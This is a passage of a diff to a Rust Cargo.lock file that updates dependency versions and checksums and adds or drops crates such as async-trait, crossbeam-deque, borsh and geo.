"registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c378d78423fdad8089616f827526ee33c19f2fddbd5de1629152c9593ba4783" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" dependencies = [ "memchr", ] [[package]] +name = "allocator-api2" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5" + +[[package]] name = "android-tzdata" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -74,9 +82,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.4" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +checksum = "d664a92ecae85fd0a7392615844904654d1d5f5514837f471ddef4a057aba1b6" dependencies = [ "anstyle", "anstyle-parse", @@ -88,36 +96,36 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.3" +version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b84bf0a05bbb2a83e5eb6fa36bb6e87baa08193c35ff52bbf6b38d8af2890e46" +checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" [[package]] name = "anstyle-parse" -version = "0.2.1" +version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "938874ff5980b03a87c5524b3ae5b59cf99b1d6bc836848df7bc5ada9643c333" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" dependencies = [ "utf8parse", ] [[package]] name = "anstyle-query" -version = "1.0.0" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" dependencies = [ - "windows-sys", + "windows-sys 0.52.0", ] [[package]] name = "anstyle-wincon" -version = "3.0.1" +version = "3.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" dependencies = [ "anstyle", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] @@ -136,6 +144,12 @@ dependencies = [ ] [[package]] +name = "arbitrary" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d5a26814d8dcb93b0e5a0ff3c6d80a8843bafb21b39e8e18a6f05471870e110" + +[[package]] name = "argon2" version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -179,9 +193,9 @@ dependencies = [ [[package]] name = "assert_fs" -version = "1.0.13" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f070617a68e5c2ed5d06ee8dd620ee18fb72b99f6c094bed34cf8ab07c875b48" +checksum = "adc5d78e9048d836d12a0c0040ca5f45b18a94d204b4ba4f677a8a7de162426b" dependencies = [ "anstyle", "doc-comment", @@ -199,31 +213,33 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35" dependencies = [ "concurrent-queue", - "event-listener", + "event-listener 2.5.3", "futures-core", ] [[package]] name = "async-executor" -version = "1.5.1" +version = "1.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fa3dc5f2a8564f07759c008b9109dc0d39de92a88d5588b8a5036d286383afb" +checksum = "17ae5ebefcc48e7452b4987947920dac9450be1110cadf34d1b8c116bdbaf97c" dependencies = [ "async-lock", "async-task", "concurrent-queue", - "fastrand 1.9.0", + "fastrand", "futures-lite", "slab", ] [[package]] name = "async-lock" -version = "2.8.0" +version = "3.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "287272293e9d8c41773cec55e365490fe034813a2f172f502d6ddcf75b2f582b" +checksum = "7125e42787d53db9dd54261812ef17e937c95a51e4d291373b670342fa44310c" dependencies = [ - "event-listener", + "event-listener 4.0.1", + "event-listener-strategy", + "pin-project-lite", ] [[package]] @@ -234,7 +250,7 @@ checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ -256,14 +272,25 @@ checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] name = "async-task" -version = "4.4.0" +version = "4.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ecc7ab41815b3c653ccd2978ec3255c81349336702dfdf62ee6f7069b12a3aae" +checksum = "e1d90cd0b264dfdd8eb5bad0a2c217c1f88fa96a8573f40e7b12de23fb468f46" + +[[package]] +name = "async-trait" +version = "0.1.76" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "531b97fb4cd3dfdce92c35dedbfdc1f0b9d8091c8ca943d6dae340ef5012d514" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.43", +] [[package]] name = "async_io_stream" @@ -284,9 +311,9 @@ checksum = "c59bdb34bc650a32731b31bd8f0829cc15d24a708ee31559e0bb34f2bc320cba" [[package]] name = "atomic-polyfill" -version = "0.1.11" +version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3ff7eb3f316534d83a8a2c3d1674ace8a5a71198eba31e2e2b597833f699b28" +checksum = "8cf2bce30dfe09ef0bfaef228b9d414faaf7e563035494d7fe092dba54b300f4" dependencies = [ "critical-section", ] @@ -325,15 +352,9 @@ dependencies = [ [[package]] name = "base64" -version = "0.13.1" +version = "0.21.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" - -[[package]] -name = "base64" -version = "0.21.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ba43ea6f343b788c8764558649e08df62f86c6ef251fdaeb1ffd010a9ae50a2" +checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" [[package]] name = "base64ct" @@ -343,11 +364,11 @@ checksum = "8c3c1a368f70d6cf7302d78f8f7093da241fb8e8807c05cc9e51a125895a6d5b" [[package]] name = "bcrypt" -version = "0.14.0" +version = "0.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9df288bec72232f78c1ec5fe4e8f1d108aa0265476e93097593c803c8c02062a" +checksum = "28d1c9c15093eb224f0baa400f38fcd713fc1391a6f1c389d886beef146d60a3" dependencies = [ - "base64 0.21.4", + "base64", "blowfish", "getrandom", "subtle", @@ -386,9 +407,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.4.0" +version = "2.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4682ae6287fcf752ecaabbfcc7b6f9b72aa33933dc23a554d853aea8eea8635" +checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" [[package]] name = "bitvec" @@ -432,65 +453,44 @@ dependencies = [ [[package]] name = "borsh" -version = "0.10.3" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4114279215a005bc675e386011e594e1d9b800918cea18fcadadcce864a2046b" +checksum = "26d4d6dafc1a3bb54687538972158f07b2c948bc57d5890df22c0739098b3028" dependencies = [ "borsh-derive", - "hashbrown 0.13.2", + "cfg_aliases", ] [[package]] name = "borsh-derive" -version = "0.10.3" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0754613691538d51f329cce9af41d7b7ca150bc973056f1156611489475f54f7" +checksum = "bf4918709cc4dd777ad2b6303ed03cb37f3ca0ccede8c1b0d28ac6db8f4710e0" dependencies = [ - "borsh-derive-internal", - "borsh-schema-derive-internal", + "once_cell", "proc-macro-crate", "proc-macro2", - "syn 1.0.109", -] - -[[package]] -name = "borsh-derive-internal" -version = "0.10.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "afb438156919598d2c7bad7e1c0adf3d26ed3840dbc010db1a882a65583ca2fb" -dependencies = [ - "proc-macro2", "quote", - "syn 1.0.109", -] - -[[package]] -name = "borsh-schema-derive-internal" -version = "0.10.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "634205cc43f74a1b9046ef87c4540ebda95696ec0f315024860cad7c5b0f5ccd" -dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", + "syn 2.0.43", + "syn_derive", ] [[package]] name = "bstr" -version = "1.6.2" +version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c2f7349907b712260e64b0afe2f84692af14a454be26187d9df565c7f69266a" +checksum = "c48f0051a4b4c5e0b6d365cd04af53aeaa209e3cc15ec2cdb69e73cc87fbd0dc" dependencies = [ "memchr", - "regex-automata 0.3.8", + "regex-automata", "serde", ] [[package]] name = "bumpalo" -version = "3.13.0" +version = "3.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3e2c3daef883ecc1b5d58c15adae93470a91d425f3532ba1695849656af3fc1" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" [[package]] name = "bytecheck" @@ -522,9 +522,9 @@ checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" [[package]] name = "byteorder" -version = "1.4.3" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" [[package]] name = "bytes" @@ -543,9 +543,9 @@ dependencies = [ [[package]] name = "cedar-policy" -version = "2.3.3" +version = "2.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "740e9c6999327357726ab9170defa1229c9a91f000c40cb02b343385cd7d8cf9" +checksum = "31ff2003d0aba0a4b2e5212660321d63dc7c36efe636d6ca1882d489cbc0bef8" dependencies = [ "cedar-policy-core", "cedar-policy-validator", @@ -560,9 +560,9 @@ dependencies = [ [[package]] name = "cedar-policy-core" -version = "2.3.3" +version = "2.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c43c92ddadc29024643ef24ff0aeb665bb665750d401f6b5f4a9a44eae898ae" +checksum = "9c52f9666c7cb1b6f14a6e77d3ffcffa20fd3e1012ac8dcc393498c33ff632c3" dependencies = [ "either", "ipnet", @@ -570,6 +570,7 @@ dependencies = [ "lalrpop", "lalrpop-util", "lazy_static", + "miette", "regex", "rustc_lexer", "serde", @@ -582,9 +583,9 @@ dependencies = [ [[package]] name = "cedar-policy-validator" -version = "2.3.3" +version = "2.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf263ac64b18d94d9cd8ae4d05b65100fc21647e20eb42f7735fb54ec887afa3" +checksum = "76a63c1a72bcafda800830cbdde316162074b341b7d59bd4b1cea6156f22dfa7" dependencies = [ "cedar-policy-core", "itertools 0.10.5", @@ -604,6 +605,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + +[[package]] name = "chrono" version = "0.4.31" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -615,7 +622,7 @@ dependencies = [ "num-traits", "serde", "wasm-bindgen", - "windows-targets", + "windows-targets 0.48.5", ] [[package]] @@ -656,9 +663,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.4.11" +version = "4.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bfaff671f6b22ca62406885ece523383b9b64022e341e53e009a62ebc47a45f2" +checksum = "dcfab8ba68f3668e89f6ff60f5b205cea56aa7b769451a59f34b8682f51c056d" dependencies = [ "clap_builder", "clap_derive 4.4.7", @@ -666,9 +673,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.4.11" +version = "4.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a216b506622bb1d316cd51328dce24e07bdff4a6128a47c7e7fad11878d5adbb" +checksum = "fb7fb5e4e979aec3be7791562fcba452f94ad85e954da024396433e0e25a79e9" dependencies = [ "anstream", "anstyle", @@ -698,7 +705,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ -756,9 +763,9 @@ dependencies = [ [[package]] name = "color-spantrace" -version = "0.2.0" +version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ba75b3d9449ecdccb27ecbc479fdc0b87fa2dd43d2f8298f9bf0e59aacc8dce" +checksum = "cd6be1b2a7e382e2b98b43b2adcca6bb0e465af0bdd38123873ae61eb17a72c2" dependencies = [ "once_cell", "owo-colors", @@ -774,38 +781,36 @@ checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" [[package]] name = "concurrent-queue" -version = "2.2.0" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62ec6771ecfa0762d24683ee5a32ad78487a3d3afdc0fb8cae19d2c5deb50b7c" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" dependencies = [ "crossbeam-utils", ] [[package]] name = "const-oid" -version = "0.9.5" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "28c122c3980598d243d63d9a704629a2d748d101f278052ff068be5a4423ab6f" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" [[package]] name = "const-random" -version = "0.1.15" +version = "0.1.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "368a7a772ead6ce7e1de82bfb04c485f3db8ec744f72925af5735e29a22cc18e" +checksum = "5aaf16c9c2c612020bcfd042e170f6e32de9b9d75adb5277cdbbd2e2c8c8299a" dependencies = [ "const-random-macro", - "proc-macro-hack", ] [[package]] name = "const-random-macro" -version = "0.1.15" +version = "0.1.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d7d6ab3c3a2282db210df5f02c4dab6e0a7057af0fb7ebd4070f30fe05c0ddb" +checksum = "f9d839f2a20b0aee515dc581a6172f2321f96cab76c1a38a4c584a194955390e" dependencies = [ "getrandom", "once_cell", - "proc-macro-hack", "tiny-keccak", ] @@ -819,16 +824,26 @@ dependencies = [ ] [[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] name = "core-foundation-sys" -version = "0.8.4" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] name = "cpufeatures" -version = "0.2.9" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a17b76ff3a4162b0b27f354a0c87015ddad39d35f9c0c36607a3bdd175dde1f1" +checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" dependencies = [ "libc", ] @@ -840,10 +855,32 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7059fff8937831a9ae6f0fe4d658ffabf58f2ca96aa9dec1c889f936f705f216" [[package]] +name = "crossbeam-deque" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fca89a0e215bab21874660c67903c5f143333cab1da83d041c7ded6053774751" +dependencies = [ + "cfg-if", + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e3681d554572a651dda4186cd47240627c3d0114d45a95f6ad27f2f22e7548d" +dependencies = [ + "autocfg", + "cfg-if", + "crossbeam-utils", +] + +[[package]] name = "crossbeam-utils" -version = "0.8.16" +version = "0.8.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" +checksum = "c3a430a770ebd84726f584a90ee7f020d28db52c6d02138900f22341f866d39c" dependencies = [ "cfg-if", ] @@ -866,9 +903,9 @@ dependencies = [ [[package]] name = "csv" -version = "1.2.2" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "626ae34994d3d8d668f4269922248239db4ae42d538b14c398b74a52208e8086" +checksum = "ac574ff4d437a7b5ad237ef331c17ccca63c46479e5b5453eb8e10bb99a759fe" dependencies = [ "csv-core", "itoa", @@ -878,9 +915,9 @@ dependencies = [ [[package]] name = "csv-core" -version = "0.1.10" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b2466559f260f48ad25fe6317b3c8dac77b5bdb5763ac7d9d6103530663bc90" +checksum = "5efa2b3d7902f4b634a20cae3c9c4e6209dc4779feb6863329607560143efa70" dependencies = [ "memchr", ] @@ -906,7 +943,7 @@ dependencies = [ "proc-macro2", "quote", "strsim", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ -917,7 +954,7 @@ checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ "darling_core", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ -927,13 +964,19 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" dependencies = [ "cfg-if", - "hashbrown 0.14.0", + "hashbrown 0.14.3", "lock_api", "once_cell", "parking_lot_core", ] [[package]] +name = "data-encoding" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5" + +[[package]] name = "der" version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -946,18 +989,19 @@ dependencies = [ [[package]] name = "deranged" -version = "0.3.8" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f2696e8a945f658fd14dc3b87242e6b80cd0f36ff04ea560fa39082368847946" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" dependencies = [ + "powerfmt", "serde", ] [[package]] name = "deunicode" -version = "1.3.3" +version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c1bba4f227a4a53d12b653f50ca7bf10c9119ae2aba56aff9e0338b5c98f36a" +checksum = "3ae2a35373c5c74340b79ae6780b498b2b183915ec5dacf263aac5a099bf485a" [[package]] name = "diff" @@ -994,9 +1038,9 @@ dependencies = [ [[package]] name = "dir-diff" -version = "0.3.2" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2860407d7d7e2e004bb2128510ad9e8d669e76fa005ccf567977b5d71b8b4a0b" +checksum = "a7ad16bf5f84253b50d6557681c58c3ab67c47c77d39fed9aeb56e947290bd10" dependencies = [ "walkdir", ] @@ -1024,9 +1068,9 @@ dependencies = [ [[package]] name = "dlv-list" -version = "0.5.1" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8aead04dc46b5f263c25721cf25c9e595951d15055f8063f92392fa0d7f64cf4" +checksum = "442039f5147480ba31067cb00ada1adae6892028e40e45fc5de7b7df6dcc1b5f" dependencies = [ "const-random", ] @@ -1048,11 +1092,11 @@ checksum = "fea41bba32d969b513997752735605054bc0dfa92b4c56bf1189f2e174be7a10" [[package]] name = "earcutr" -version = "0.4.2" +version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0812b44697951d35fde8fcb0da81c9de7e809e825a66bbf1ecb79d9829d4ca3d" +checksum = "79127ed59a85d7687c409e9978547cffb7dc79675355ed22da6b66fd5f6ead01" dependencies = [ - "itertools 0.10.5", + "itertools 0.11.0", "num-traits", ] @@ -1094,55 +1138,56 @@ checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" [[package]] name = "errno" -version = "0.3.3" +version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "136526188508e25c6fef639d7927dfb3e0e3084488bf202267829cf7fc23dbdd" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" dependencies = [ - "errno-dragonfly", "libc", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] -name = "errno-dragonfly" -version = "0.1.2" +name = "event-listener" +version = "2.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf" -dependencies = [ - "cc", - "libc", -] +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" [[package]] name = "event-listener" -version = "2.5.3" +version = "4.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" +checksum = "84f2cdcf274580f2d63697192d744727b3198894b1bf02923643bf59e2c26712" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] [[package]] -name = "eyre" -version = "0.6.8" +name = "event-listener-strategy" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c2b6b5a29c02cdc822728b7d7b8ae1bab3e3b05d44522770ddd49722eeac7eb" +checksum = "958e4d70b6d5e81971bebec42271ec641e7ff4e170a6fa605f2b8a8b65cb97d3" dependencies = [ - "indenter", - "once_cell", + "event-listener 4.0.1", + "pin-project-lite", ] [[package]] -name = "fastrand" -version = "1.9.0" +name = "eyre" +version = "0.6.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" +checksum = "b6267a1fa6f59179ea4afc8e50fd8612a3cc60bc858f786ff877a4a8cb042799" dependencies = [ - "instant", + "indenter", + "once_cell", ] [[package]] name = "fastrand" -version = "2.0.0" +version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6999dc1837253364c2ebb0704ba97994bd874e8f195d665c50b7548f6ea92764" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" [[package]] name = "fixedbitset" @@ -1167,14 +1212,13 @@ checksum = "8bf7cc16383c4b8d58b9905a8509f02926ce3058053c056376248d958c9df1e8" [[package]] name = "flume" -version = "0.10.14" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1657b4441c3403d9f7b3409e47575237dac27b1b5726df654a6ecbf92f0f7577" +checksum = "55ac459de2512911e4b674ce33cf20befaba382d05b62b008afc1c8b57cbf181" dependencies = [ "futures-core", "futures-sink", "nanorand", - "pin-project", "spin 0.9.8", ] @@ -1186,9 +1230,9 @@ checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" [[package]] name = "form_urlencoded" -version = "1.2.0" +version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a62bc1cf6f830c2ec14a513a9fb124d0a213a629668a4186f329db21fe045652" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" dependencies = [ "percent-encoding", ] @@ -1213,9 +1257,9 @@ checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" [[package]] name = "futures" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23342abe12aba583913b2e62f22225ff9c950774065e4bfb61a19cd9770fec40" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" dependencies = [ "futures-channel", "futures-core", @@ -1228,9 +1272,9 @@ dependencies = [ [[package]] name = "futures-channel" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "955518d47e09b25bbebc7a18df10b81f0c766eaf4c4f1cccef2fca5f2a4fb5f2" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" dependencies = [ "futures-core", "futures-sink", @@ -1238,9 +1282,9 @@ dependencies = [ [[package]] name = "futures-concurrency" -version = "7.4.2" +version = "7.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d7cf7759a91582f72d30e68a2507feecac3dbcf6314ae91fa7046d6173d502e7" +checksum = "ef6712e11cdeed5c8cf21ea0b90fec40fbe64afc9bbf2339356197eeca829fc3" dependencies = [ "bitvec", "futures-core", @@ -1251,15 +1295,15 @@ dependencies = [ [[package]] name = "futures-core" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4bca583b7e26f571124fe5b7561d49cb2868d79116cfa0eefce955557c6fee8c" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" [[package]] name = "futures-executor" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccecee823288125bd88b4d7f565c9e58e41858e47ab72e8ea2d64e93624386e0" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" dependencies = [ "futures-core", "futures-task", @@ -1268,53 +1312,51 @@ dependencies = [ [[package]] name = "futures-io" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fff74096e71ed47f8e023204cfd0aa1289cd54ae5430a9523be060cdb849964" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" [[package]] name = "futures-lite" -version = "1.13.0" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" +checksum = "aeee267a1883f7ebef3700f262d2d54de95dfaf38189015a74fdc4e0c7ad8143" dependencies = [ - "fastrand 1.9.0", + "fastrand", "futures-core", "futures-io", - "memchr", "parking", "pin-project-lite", - "waker-fn", ] [[package]] name = "futures-macro" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] name = "futures-sink" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f43be4fe21a13b9781a69afa4985b0f6ee0e1afab2c6f454a8cf30e2b2237b6e" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" [[package]] name = "futures-task" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76d3d132be6c0e6aa1534069c705a74a5997a356c0dc2f86a47765e5617c5b65" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" [[package]] name = "futures-util" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26b01e40b772d54cf6c6d721c1d1abd0647a0106a12ecaa1c186273392a69533" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" dependencies = [ "futures-channel", "futures-core", @@ -1349,9 +1391,9 @@ dependencies = [ [[package]] name = "geo" -version = "0.25.1" +version = "0.26.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a5d07d2288645058f3c78bc64eadd615335791cd5adb632e9865840afbc13dad" +checksum = "1645cf1d7fea7dac1a66f7357f3df2677ada708b8d9db8e9b043878930095a96" dependencies = [ "earcutr", "float_next_after", @@ -1359,16 +1401,16 @@ dependencies = [ "geographiclib-rs", "log", "num-traits", - "robust 0.2.3", - "rstar 0.10.0", + "robust", + "rstar", "serde", ] [[package]] name = "geo" -version = "0.26.0" +version = "0.27.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1645cf1d7fea7dac1a66f7357f3df2677ada708b8d9db8e9b043878930095a96" +checksum = "4841b40fdbccd4b7042bd6195e4de91da54af34c50632e371bcbfcdfb558b873" dependencies = [ "earcutr", "float_next_after", @@ -1376,21 +1418,22 @@ dependencies = [ "geographiclib-rs", "log", "num-traits", - "robust 1.1.0", - "rstar 0.11.0", + "robust", + "rstar", "serde", + "spade", ] [[package]] name = "geo-types" -version = "0.7.11" +version = "0.7.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9705398c5c7b26132e74513f4ee7c1d7dafd786004991b375c172be2be0eecaa" +checksum = "567495020b114f1ce9bed679b29975aa0bfae06ac22beacd5cfde5dabe7b05d6" dependencies = [ "approx", + "arbitrary", "num-traits", 